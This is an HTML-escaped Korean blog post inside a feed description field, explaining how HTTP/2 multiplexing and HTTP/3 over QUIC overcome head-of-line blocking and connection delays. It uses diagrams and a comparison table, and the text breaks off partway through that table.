      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;#&amp;nbsp;HTTP/2와&amp;nbsp;HTTP/3(QUIC)의&amp;nbsp;혁신&amp;nbsp;-&amp;nbsp;웹페이지&amp;nbsp;로딩&amp;nbsp;속도가&amp;nbsp;3배&amp;nbsp;빨라진&amp;nbsp;비밀 &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; ️&amp;nbsp;들어가며&amp;nbsp;-&amp;nbsp;왜&amp;nbsp;최신&amp;nbsp;웹사이트는&amp;nbsp;빛의&amp;nbsp;속도로&amp;nbsp;뜰까? &lt;br /&gt;&lt;br /&gt;지난&amp;nbsp;글에서&amp;nbsp;우리는&amp;nbsp;인터넷&amp;nbsp;통신의&amp;nbsp;기본&amp;nbsp;규격인&amp;nbsp;**HTTP**와&amp;nbsp;암호화&amp;nbsp;자물쇠를&amp;nbsp;채운&amp;nbsp;**HTTPS(TLS)**의&amp;nbsp;보안&amp;nbsp;원리를&amp;nbsp;살펴보았습니다.&amp;nbsp;자물쇠를&amp;nbsp;채워&amp;nbsp;안전해진&amp;nbsp;것은&amp;nbsp;좋았지만,&amp;nbsp;웹&amp;nbsp;사이트가&amp;nbsp;점차&amp;nbsp;복잡해지면서&amp;nbsp;또&amp;nbsp;다른&amp;nbsp;심각한&amp;nbsp;문제가&amp;nbsp;터져&amp;nbsp;나왔습니다. &lt;br /&gt;&lt;br /&gt;과거의&amp;nbsp;웹사이트는&amp;nbsp;단순한&amp;nbsp;텍스트&amp;nbsp;문서&amp;nbsp;몇&amp;nbsp;줄과&amp;nbsp;작은&amp;nbsp;사진&amp;nbsp;1~2장이&amp;nbsp;전부였습니다.&amp;nbsp;하지만&amp;nbsp;오늘날&amp;nbsp;우리가&amp;nbsp;매일&amp;nbsp;접속하는&amp;nbsp;네이버,&amp;nbsp;유튜브,&amp;nbsp;쇼핑몰&amp;nbsp;사이트를&amp;nbsp;열어보면,&amp;nbsp;**단&amp;nbsp;하나의&amp;nbsp;웹페이지를&amp;nbsp;띄우기&amp;nbsp;위해&amp;nbsp;무려&amp;nbsp;100~200개가&amp;nbsp;넘는&amp;nbsp;이미지,&amp;nbsp;자바스크립트(JS),&amp;nbsp;CSS&amp;nbsp;스타일시트&amp;nbsp;파일**을&amp;nbsp;서버로부터&amp;nbsp;동시에&amp;nbsp;다운로드해야&amp;nbsp;합니다. &lt;br /&gt;&lt;br /&gt;과거의&amp;nbsp;통신&amp;nbsp;규격이었던&amp;nbsp;**HTTP/1.1**&amp;nbsp;시절에는&amp;nbsp;이런&amp;nbsp;복잡한&amp;nbsp;페이지를&amp;nbsp;열&amp;nbsp;때&amp;nbsp;극심한&amp;nbsp;버벅거림과&amp;nbsp;지연이&amp;nbsp;발생했습니다.&amp;nbsp;아무리&amp;nbsp;기가&amp;nbsp;인터넷을&amp;nbsp;쓰고&amp;nbsp;컴퓨터&amp;nbsp;사양이&amp;nbsp;좋아도,&amp;nbsp;통신&amp;nbsp;규격&amp;nbsp;자체의&amp;nbsp;한계&amp;nbsp;때문에&amp;nbsp;도로가&amp;nbsp;꽉&amp;nbsp;막혀버렸기&amp;nbsp;때문입니다. &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;병목을&amp;nbsp;뚫기&amp;nbsp;위해&amp;nbsp;전&amp;nbsp;세계&amp;nbsp;웹&amp;nbsp;표준&amp;nbsp;기구와&amp;nbsp;구글(Google)&amp;nbsp;엔지니어들이&amp;nbsp;설계한&amp;nbsp;놀라운&amp;nbsp;통신&amp;nbsp;혁신,&amp;nbsp;바로&amp;nbsp;**HTTP/2의&amp;nbsp;멀티플렉싱**과&amp;nbsp;**HTTP/3의&amp;nbsp;UDP&amp;nbsp;기반&amp;nbsp;QUIC&amp;nbsp;프로토콜**입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;1.&amp;nbsp;HTTP/1.1의&amp;nbsp;비극:&amp;nbsp;톨게이트&amp;nbsp;1개와&amp;nbsp;'HOL&amp;nbsp;블로킹' &lt;br /&gt;&lt;br /&gt;HTTP/1.1이&amp;nbsp;느렸던&amp;nbsp;가장&amp;nbsp;결정적인&amp;nbsp;이유는&amp;nbsp;**&quot;한&amp;nbsp;번에&amp;nbsp;하나의&amp;nbsp;파일만&amp;nbsp;순서대로&amp;nbsp;요청하고&amp;nbsp;받을&amp;nbsp;수&amp;nbsp;있었다&quot;**는&amp;nbsp;점입니다. &lt;br /&gt;&lt;br /&gt;이를&amp;nbsp;일상생활의&amp;nbsp;**1차선&amp;nbsp;고속도로&amp;nbsp;톨게이트**에&amp;nbsp;비유할&amp;nbsp;수&amp;nbsp;있습니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;HTTP/1.1&amp;nbsp;의&amp;nbsp;1차선&amp;nbsp;톨게이트&amp;nbsp;병목&amp;nbsp;현상&amp;nbsp;] &lt;br /&gt;클라이언트&amp;nbsp;──(1.&amp;nbsp;index.html&amp;nbsp;요청)──&amp;gt;&amp;nbsp;서버 &lt;br /&gt;클라이언트&amp;nbsp;&amp;lt;──(index.html&amp;nbsp;수신)────&amp;nbsp;&amp;nbsp;서버 &lt;br /&gt;&lt;br /&gt;클라이언트&amp;nbsp;──(2.&amp;nbsp;big_video.mp4&amp;nbsp;요청)─&amp;gt;&amp;nbsp;서버&amp;nbsp;&amp;nbsp;───┐ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│&amp;nbsp;(거대&amp;nbsp;파일&amp;nbsp;다운로드가&amp;nbsp;끝날&amp;nbsp;때까지 &lt;br /&gt;클라이언트&amp;nbsp;&amp;lt;──(3.&amp;nbsp;style.css&amp;nbsp;요청&amp;nbsp;대기&amp;nbsp;중...)───&amp;nbsp;&amp;nbsp;뒤에&amp;nbsp;있는&amp;nbsp;작은&amp;nbsp;css/js&amp;nbsp;파일들은&amp;nbsp; &lt;br /&gt;클라이언트&amp;nbsp;&amp;lt;──(4.&amp;nbsp;icon.png&amp;nbsp;요청&amp;nbsp;대기&amp;nbsp;중...)───&amp;nbsp;&amp;nbsp;&amp;nbsp;1초도&amp;nbsp;움직이지&amp;nbsp;못하고&amp;nbsp;멈춤!) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│&amp;nbsp;➔&amp;nbsp;[&amp;nbsp;Head-of-Line&amp;nbsp;(HOL)&amp;nbsp;Blocking&amp;nbsp;] &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**HOL&amp;nbsp;블로킹(Head-of-Line&amp;nbsp;Blocking)**:&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;앞에&amp;nbsp;서&amp;nbsp;있는&amp;nbsp;대형&amp;nbsp;트럭(용량이&amp;nbsp;큰&amp;nbsp;파일)이&amp;nbsp;톨게이트를&amp;nbsp;통과하는&amp;nbsp;데&amp;nbsp;5초가&amp;nbsp;걸리면,&amp;nbsp;그&amp;nbsp;뒤에&amp;nbsp;줄&amp;nbsp;서&amp;nbsp;있는&amp;nbsp;수십&amp;nbsp;대의&amp;nbsp;오토바이(용량이&amp;nbsp;아주&amp;nbsp;작은&amp;nbsp;1KB짜리&amp;nbsp;CSS,&amp;nbsp;JS&amp;nbsp;파일)는&amp;nbsp;앞차가&amp;nbsp;다&amp;nbsp;빠져나갈&amp;nbsp;때까지&amp;nbsp;하염없이&amp;nbsp;기다려야&amp;nbsp;했습니다. &lt;br /&gt;*&amp;nbsp;**임시방편의&amp;nbsp;한계**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;웹&amp;nbsp;브라우저들은&amp;nbsp;이&amp;nbsp;문제를&amp;nbsp;피하려고&amp;nbsp;서버와&amp;nbsp;6개의&amp;nbsp;TCP&amp;nbsp;도로(커넥션)를&amp;nbsp;억지로&amp;nbsp;뚫어&amp;nbsp;나눠&amp;nbsp;받기도&amp;nbsp;하고,&amp;nbsp;작은&amp;nbsp;아이콘&amp;nbsp;100개를&amp;nbsp;하나의&amp;nbsp;큰&amp;nbsp;이미지로&amp;nbsp;합치는&amp;nbsp;'스프라이트&amp;nbsp;기법'을&amp;nbsp;쓰는&amp;nbsp;등&amp;nbsp;눈물겨운&amp;nbsp;꼼수를&amp;nbsp;부려야&amp;nbsp;했습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;2.&amp;nbsp;HTTP/2의&amp;nbsp;마법:&amp;nbsp;1개의&amp;nbsp;레일&amp;nbsp;위를&amp;nbsp;달리는&amp;nbsp;'멀티플렉싱(Multiplexing)' &lt;br /&gt;&lt;br /&gt;2015년&amp;nbsp;마침내&amp;nbsp;등장한&amp;nbsp;**HTTP/2**는&amp;nbsp;웹&amp;nbsp;로딩&amp;nbsp;패러다임을&amp;nbsp;180도&amp;nbsp;뒤집었습니다.&amp;nbsp;핵심은&amp;nbsp;단&amp;nbsp;하나,&amp;nbsp;**&quot;멀티플렉싱(Multiplexing,&amp;nbsp;다중화)&quot;**이었습니다. &lt;br /&gt;&lt;br /&gt;HTTP/2는&amp;nbsp;더&amp;nbsp;이상&amp;nbsp;텍스트로&amp;nbsp;대화하지&amp;nbsp;않고,&amp;nbsp;모든&amp;nbsp;데이터를&amp;nbsp;0과&amp;nbsp;1의&amp;nbsp;**바이너리&amp;nbsp;프레임(Binary&amp;nbsp;Frame)**이라는&amp;nbsp;아주&amp;nbsp;작은&amp;nbsp;레고&amp;nbsp;블록&amp;nbsp;조각들로&amp;nbsp;잘게&amp;nbsp;쪼갰습니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;HTTP/2&amp;nbsp;멀티플렉싱:&amp;nbsp;하나의&amp;nbsp;파이프에&amp;nbsp;여러&amp;nbsp;파일&amp;nbsp;조각이&amp;nbsp;뒤섞여&amp;nbsp;통과&amp;nbsp;] &lt;br /&gt;&lt;br /&gt;서버&amp;nbsp;──────[HTML&amp;nbsp;조각][CSS&amp;nbsp;조각][IMG&amp;nbsp;조각][JS&amp;nbsp;조각][IMG&amp;nbsp;조각]──────&amp;gt;&amp;nbsp;브라우저 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▲&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▲&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▲&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▲ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(스트림&amp;nbsp;1)&amp;nbsp;&amp;nbsp;(스트림&amp;nbsp;2)&amp;nbsp;(스트림&amp;nbsp;3)(스트림&amp;nbsp;4) &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**순서가&amp;nbsp;필요&amp;nbsp;없음**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;용량이&amp;nbsp;큰&amp;nbsp;영상&amp;nbsp;조각&amp;nbsp;사이사이에&amp;nbsp;작은&amp;nbsp;CSS&amp;nbsp;조각과&amp;nbsp;자바스크립트&amp;nbsp;조각들을&amp;nbsp;함께&amp;nbsp;끼워&amp;nbsp;넣어&amp;nbsp;단&amp;nbsp;하나의&amp;nbsp;파이프(TCP&amp;nbsp;커넥션)로&amp;nbsp;동시에&amp;nbsp;쏟아붓습니다. &lt;br /&gt;*&amp;nbsp;**조립의&amp;nbsp;미학**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;브라우저는&amp;nbsp;각&amp;nbsp;조각에&amp;nbsp;붙어있는&amp;nbsp;번호표(Stream&amp;nbsp;ID)를&amp;nbsp;보고&amp;nbsp;도착하는&amp;nbsp;대로&amp;nbsp;알아서&amp;nbsp;원래&amp;nbsp;파일로&amp;nbsp;번개처럼&amp;nbsp;재조립합니다. &lt;br /&gt;*&amp;nbsp;**헤더&amp;nbsp;압축(HPACK)**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;매&amp;nbsp;요청마다&amp;nbsp;중복해서&amp;nbsp;보내던&amp;nbsp;길고&amp;nbsp;무거운&amp;nbsp;쿠키,&amp;nbsp;유저에이전트&amp;nbsp;헤더&amp;nbsp;정보를&amp;nbsp;'HPACK'&amp;nbsp;알고리즘으로&amp;nbsp;압축하여&amp;nbsp;데이터&amp;nbsp;낭비를&amp;nbsp;80%&amp;nbsp;이상&amp;nbsp;줄였습니다. &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;멀티플렉싱&amp;nbsp;덕분에&amp;nbsp;웹페이지의&amp;nbsp;100개&amp;nbsp;파일이&amp;nbsp;동시에&amp;nbsp;쏟아져&amp;nbsp;들어오며,&amp;nbsp;로딩&amp;nbsp;속도가&amp;nbsp;2~3배&amp;nbsp;이상&amp;nbsp;획기적으로&amp;nbsp;향상되었습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3.&amp;nbsp;하지만&amp;nbsp;남아있던&amp;nbsp;마지막&amp;nbsp;복병:&amp;nbsp;'TCP&amp;nbsp;계층의&amp;nbsp;HOL&amp;nbsp;블로킹' &lt;br /&gt;&lt;br /&gt;HTTP/2로&amp;nbsp;모든&amp;nbsp;문제가&amp;nbsp;끝난&amp;nbsp;줄&amp;nbsp;알았지만,&amp;nbsp;얼마&amp;nbsp;지나지&amp;nbsp;않아&amp;nbsp;더&amp;nbsp;깊은&amp;nbsp;바닥(전송&amp;nbsp;계층)에&amp;nbsp;숨겨진&amp;nbsp;또&amp;nbsp;다른&amp;nbsp;병목이&amp;nbsp;발견되었습니다.&amp;nbsp;바로&amp;nbsp;50년&amp;nbsp;전&amp;nbsp;설계된&amp;nbsp;**TCP(Transmission&amp;nbsp;Control&amp;nbsp;Protocol)**&amp;nbsp;프로토콜&amp;nbsp;자체의&amp;nbsp;결벽증이었습니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;TCP의&amp;nbsp;엄격한&amp;nbsp;패킷&amp;nbsp;무결성&amp;nbsp;규칙&amp;nbsp;] &lt;br /&gt;데이터&amp;nbsp;조각:&amp;nbsp;[패킷&amp;nbsp;1]&amp;nbsp;&amp;nbsp;[패킷&amp;nbsp;2&amp;nbsp;(유실!❌)]&amp;nbsp;&amp;nbsp;[패킷&amp;nbsp;3]&amp;nbsp;&amp;nbsp;[패킷&amp;nbsp;4] &lt;br /&gt;&lt;br /&gt;TCP:&amp;nbsp;&quot;잠깐&amp;nbsp;멈춰!&amp;nbsp;2번&amp;nbsp;패킷이&amp;nbsp;도중에&amp;nbsp;사라졌다! &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2번을&amp;nbsp;다시&amp;nbsp;재전송받아서&amp;nbsp;완벽하게&amp;nbsp;메꿀&amp;nbsp;때까지, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;이미&amp;nbsp;정상&amp;nbsp;도착한&amp;nbsp;3번,&amp;nbsp;4번&amp;nbsp;패킷도&amp;nbsp;절대&amp;nbsp;상위&amp;nbsp;앱(브라우저)에&amp;nbsp;넘겨주지&amp;nbsp;마라!&quot; &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;TCP는&amp;nbsp;신뢰성을&amp;nbsp;목숨처럼&amp;nbsp;여기기&amp;nbsp;때문에,&amp;nbsp;중간에&amp;nbsp;패킷이&amp;nbsp;단&amp;nbsp;1개라도&amp;nbsp;손실되면&amp;nbsp;그&amp;nbsp;패킷을&amp;nbsp;재전송받아&amp;nbsp;채울&amp;nbsp;때까지&amp;nbsp;뒤따라온&amp;nbsp;모든&amp;nbsp;정상&amp;nbsp;패킷의&amp;nbsp;처리를&amp;nbsp;강제로&amp;nbsp;중단시킵니다. &lt;br /&gt;&lt;br /&gt;무선&amp;nbsp;와이파이나&amp;nbsp;지하철&amp;nbsp;4G/5G처럼&amp;nbsp;전파가&amp;nbsp;튀어&amp;nbsp;패킷&amp;nbsp;손실이&amp;nbsp;자주&amp;nbsp;일어나는&amp;nbsp;모바일&amp;nbsp;환경에서는,&amp;nbsp;이&amp;nbsp;TCP&amp;nbsp;병목&amp;nbsp;때문에&amp;nbsp;HTTP/2의&amp;nbsp;멀티플렉싱마저&amp;nbsp;전체가&amp;nbsp;얼어붙는&amp;nbsp;현상이&amp;nbsp;발생한&amp;nbsp;것입니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp;⚡&amp;nbsp;4.&amp;nbsp;HTTP/3의&amp;nbsp;파천황:&amp;nbsp;TCP를&amp;nbsp;버리고&amp;nbsp;UDP를&amp;nbsp;택한&amp;nbsp;'QUIC' &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;문제를&amp;nbsp;해결하기&amp;nbsp;위해&amp;nbsp;구글은&amp;nbsp;아무도&amp;nbsp;감히&amp;nbsp;시도하지&amp;nbsp;못했던&amp;nbsp;파격적인&amp;nbsp;결단을&amp;nbsp;내립니다. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;수십&amp;nbsp;년간&amp;nbsp;써온&amp;nbsp;느리고&amp;nbsp;융통성&amp;nbsp;없는&amp;nbsp;TCP를&amp;nbsp;버리자.&amp;nbsp;대신&amp;nbsp;가장&amp;nbsp;가볍고&amp;nbsp;제약이&amp;nbsp;없는&amp;nbsp;UDP&amp;nbsp;위에&amp;nbsp;우리가&amp;nbsp;직접&amp;nbsp;신뢰성과&amp;nbsp;암호화를&amp;nbsp;갖춘&amp;nbsp;차세대&amp;nbsp;엔진을&amp;nbsp;얹자!&quot;** &lt;br /&gt;&lt;br /&gt;이렇게&amp;nbsp;탄생한&amp;nbsp;것이&amp;nbsp;바로&amp;nbsp;**QUIC(Quick&amp;nbsp;UDP&amp;nbsp;Internet&amp;nbsp;Connections)**&amp;nbsp;엔진이며,&amp;nbsp;이를&amp;nbsp;공식&amp;nbsp;표준화한&amp;nbsp;것이&amp;nbsp;최신&amp;nbsp;웹의&amp;nbsp;종결자&amp;nbsp;**HTTP/3**입니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;+-----------------------------------+-----------------------------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HTTP/2&amp;nbsp;계층&amp;nbsp;구조&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HTTP/3&amp;nbsp;계층&amp;nbsp;구조&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;+-----------------------------------+-----------------------------------+ &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HTTP/2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HTTP/3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TLS&amp;nbsp;1.2/1.3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QUIC&amp;nbsp;(신뢰성+보안&amp;nbsp;내장)&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TCP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UDP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IP&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;| &lt;br /&gt;+-----------------------------------+-----------------------------------+ &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;1)&amp;nbsp;진정한&amp;nbsp;스트림&amp;nbsp;독립성&amp;nbsp;(TCP&amp;nbsp;HOL&amp;nbsp;블로킹&amp;nbsp;영구&amp;nbsp;퇴출) &lt;br /&gt;HTTP/3(QUIC)에서는&amp;nbsp;1번&amp;nbsp;이미지의&amp;nbsp;패킷이&amp;nbsp;전송&amp;nbsp;중에&amp;nbsp;분실되더라도,&amp;nbsp;상관없는&amp;nbsp;2번&amp;nbsp;CSS나&amp;nbsp;3번&amp;nbsp;JS는&amp;nbsp;1밀리초도&amp;nbsp;멈추지&amp;nbsp;않고&amp;nbsp;즉시&amp;nbsp;화면에&amp;nbsp;렌더링&amp;nbsp;됩니다.&amp;nbsp;손실된&amp;nbsp;조각만&amp;nbsp;독립적으로&amp;nbsp;재전송받습니다. &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;2)&amp;nbsp;0-RTT&amp;nbsp;핸드셰이크&amp;nbsp;(첫&amp;nbsp;연결부터&amp;nbsp;빛의&amp;nbsp;속도) &lt;br /&gt;과거&amp;nbsp;TCP&amp;nbsp;연결(1&amp;nbsp;RTT)&amp;nbsp;+&amp;nbsp;TLS&amp;nbsp;암호화&amp;nbsp;연결(1~2&amp;nbsp;RTT)로&amp;nbsp;인해&amp;nbsp;서버와&amp;nbsp;본격적인&amp;nbsp;대화를&amp;nbsp;시작하기&amp;nbsp;전부터&amp;nbsp;3~4번의&amp;nbsp;왕복&amp;nbsp;시간(Round&amp;nbsp;Trip&amp;nbsp;Time)이&amp;nbsp;낭비되었습니다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;HTTP/3는&amp;nbsp;연결&amp;nbsp;수립과&amp;nbsp;TLS&amp;nbsp;암호화를&amp;nbsp;단&amp;nbsp;한&amp;nbsp;번에&amp;nbsp;끝내며(1-RTT),&amp;nbsp;이전에&amp;nbsp;접속했던&amp;nbsp;사이트라면&amp;nbsp;**왕복&amp;nbsp;시간&amp;nbsp;0초(0-RTT)**&amp;nbsp;만에&amp;nbsp;즉시&amp;nbsp;데이터를&amp;nbsp;전송합니다! &lt;br /&gt;&lt;br /&gt;###&amp;nbsp;3)&amp;nbsp;지하철에서&amp;nbsp;와이파이가&amp;nbsp;끊겨도&amp;nbsp;영상이&amp;nbsp;멈추지&amp;nbsp;않는&amp;nbsp;마법&amp;nbsp;(Connection&amp;nbsp;ID) &lt;br /&gt;과거에는&amp;nbsp;와이파이를&amp;nbsp;쓰다가&amp;nbsp;LTE로&amp;nbsp;전환되면&amp;nbsp;IP&amp;nbsp;주소가&amp;nbsp;바뀌기&amp;nbsp;때문에&amp;nbsp;TCP&amp;nbsp;연결이&amp;nbsp;완전히&amp;nbsp;끊어지고&amp;nbsp;유튜브&amp;nbsp;영상이&amp;nbsp;멈췄습니다.&amp;nbsp;&amp;nbsp; &lt;br /&gt;하지만&amp;nbsp;QUIC은&amp;nbsp;IP&amp;nbsp;주소가&amp;nbsp;아닌&amp;nbsp;고유한&amp;nbsp;**연결&amp;nbsp;ID(Connection&amp;nbsp;ID)**로&amp;nbsp;세션을&amp;nbsp;식별하므로,&amp;nbsp;네트워크가&amp;nbsp;바뀌어도&amp;nbsp;다운로드가&amp;nbsp;끊김&amp;nbsp;없이&amp;nbsp;매끄럽게&amp;nbsp;이어집니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;HTTP&amp;nbsp;세대별&amp;nbsp;핵심&amp;nbsp;비교&amp;nbsp;총람 &lt;br /&gt;&lt;br /&gt;|&amp;nbsp;구분&amp;nbsp;|&amp;nbsp;HTTP/1.1&amp;nbsp;|&amp;nbsp;HTTP/2&amp;nbsp;|&amp;nbsp;HTTP/3&amp;nbsp;| &lt;br 